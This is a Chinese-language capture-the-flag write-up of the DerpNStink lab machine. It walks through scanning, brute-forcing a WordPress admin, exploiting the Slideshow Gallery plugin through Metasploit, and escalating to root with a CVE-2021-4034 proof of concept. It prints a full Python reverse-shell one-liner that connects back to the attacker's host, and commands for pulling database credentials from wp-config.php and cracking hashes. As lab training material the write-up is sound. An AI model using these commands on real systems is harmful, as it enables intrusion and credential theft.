MSF 利用Slideshow Gallery模块
1、CVE-2021-4034
1)将靶机下载解压导入,打开kali利用nmap查看同局域网下的主机:
nmap 192.168.44.1/24 -sP #查看44网段下存活的主机
发现目标靶机192.168.44.135
2)利用nmap对目标靶机进行更深度的信息收集
nmap 192.168.44.135 -p- #查看其开放得端口
发现了21、22、80端口,同时发现了report for derpnstink.local,21和22端口都可能存在爆破,80为web端服务,先查看80端口,浏览器输入地址后,发现:
页面上没什么信息,我们可以ctrl + u查看源代码,也可以在kali终端输入:
curl http://192.168.44.135 #利用curl工具去请求该网页
请求到网页源代码,最底下出现了flag1
flag1(52E37291AEDF6A46D7D0BB8A6312F4F9F1AA4975C248C3F0E008CBA09D6E9166)
在源代码上方,发现了一个src得路径,这里出现了路径隐私泄露
利用curl工具去访问该路径:
可以发现,它这里要求将ip和域名加入本地hosts文件后,再做一些其他的操作。
结合之前nmap靶机收集到的域名:derpnstink.local,将其写入hosts文件
3)对域名 derpnstink.local进行枚举,输入:
dirb http://derpnstink.local/
发现了weblog的目录:
然后再对该路径进行信息枚举:
dirb http://192.168.44.135/weblog/
发现了该路径,该路径一般存在后台管理,浏览器输入后路径,发现登录界面,浅浅的利用弱密码进行登录,发现登录成功。弱口令是admin,admin。
4)利用AWVS或者Wpscan扫描该站点:
wpscan --url http://derpnstink.local/weblog/
发现版本为WordPress version 4.6.21 identified,这个slideshow-gallery是wordpress的plugin
5)打开msfconsole,search Sildehow Gallery,看是否有可利用的模块
然后按照要求填入必须的参数:
set rhosts 192.168.44.135
set wp_user admin
set wp_password adminset targeturi /weblog
run
然后返回一个连接,输入shell,获得一个暂时shell,这里可以查看下是否按照python,如果安装了,可以利用python执行一句话,获取一个稳定的shell,然后在kali终端开启监听:
在msfconsole里输入:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.44.128",6677));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
监听到后再输入:python -c 'import pty; pty.spawn("/bin/bash")'
查看到它上面的路径,逐层返回后看到了wp的配置文件,输入命令查看是否存在用户名和密码:
grep "root" -rn wp-config.php
发现26:define('DB_USER', 'root');
26行存在数据库用户root,然后发现28行的数据库密码是mysql
6)下面登录mysql数据库:查看数据库里信息
发现了wp_users
查询表内数据:select * from wp_users;
发现了两个用户和他们的密码。将unclestinky用户的密码复制到2.txt,利用john去爆破密码:
7)利用爆破出来的密码和数据库里的用户,登录后台
发现flag2
flag2(a7d355b26bda6bf1196ccffead0b2cf2b81f0a9de5b4876b44407f1dc07e51e6)
8)经过之前的信息收集可以发现存在一个用户:stinky,利用爆破的密码登录ftp,枚举一些ftp中的信息。
这边一路table键,遍历到一个key.txt文件,将其下载到kali本地。这个是ssh的密匙,利用该密匙输入:
ssh -i key.txt [email protected]
登陆成功。搜寻一下,查看是否有flag3
发现flag3:
flag3(07f62b021771d3cf67e2e1faf18769cc5e5c119ad7d4d1847a11e11d6d5a7ecb)
9)下面进行提权,提权方式有很多,这里可以借机复现一下CVE-2021-4034,因为观察到ubuntu版本是14.04,可能存在此漏洞。
在kali开启服务:
python -m http.server 8082
然后从github上粘贴下cve-2021-4034-poc.c文件,我这里直接将漏洞利用代码粘贴下来了,然后在反弹的shell中,进入tmp目录,从kali的web端wget下来cve-2021-4034-poc.c,将其gcc编译输出。然后复权运行,即可提权成功。
flag4(49dca65f362fee401292ed7ada96f96295eab1e589c52e4e66bf4aedda715fdd)
这里的CVE-2021-4034的原理会在后续的文章中叙述。
提权的方式还有很多,这个靶机的可玩性也比较多,比如数据库的密码破解可以利用hashcat等等工具,其中还有一些其他的信息可以挖掘使用。
本次的渗透项目就到此结束了,学到了一些新的知识,复现了一个CVE漏洞~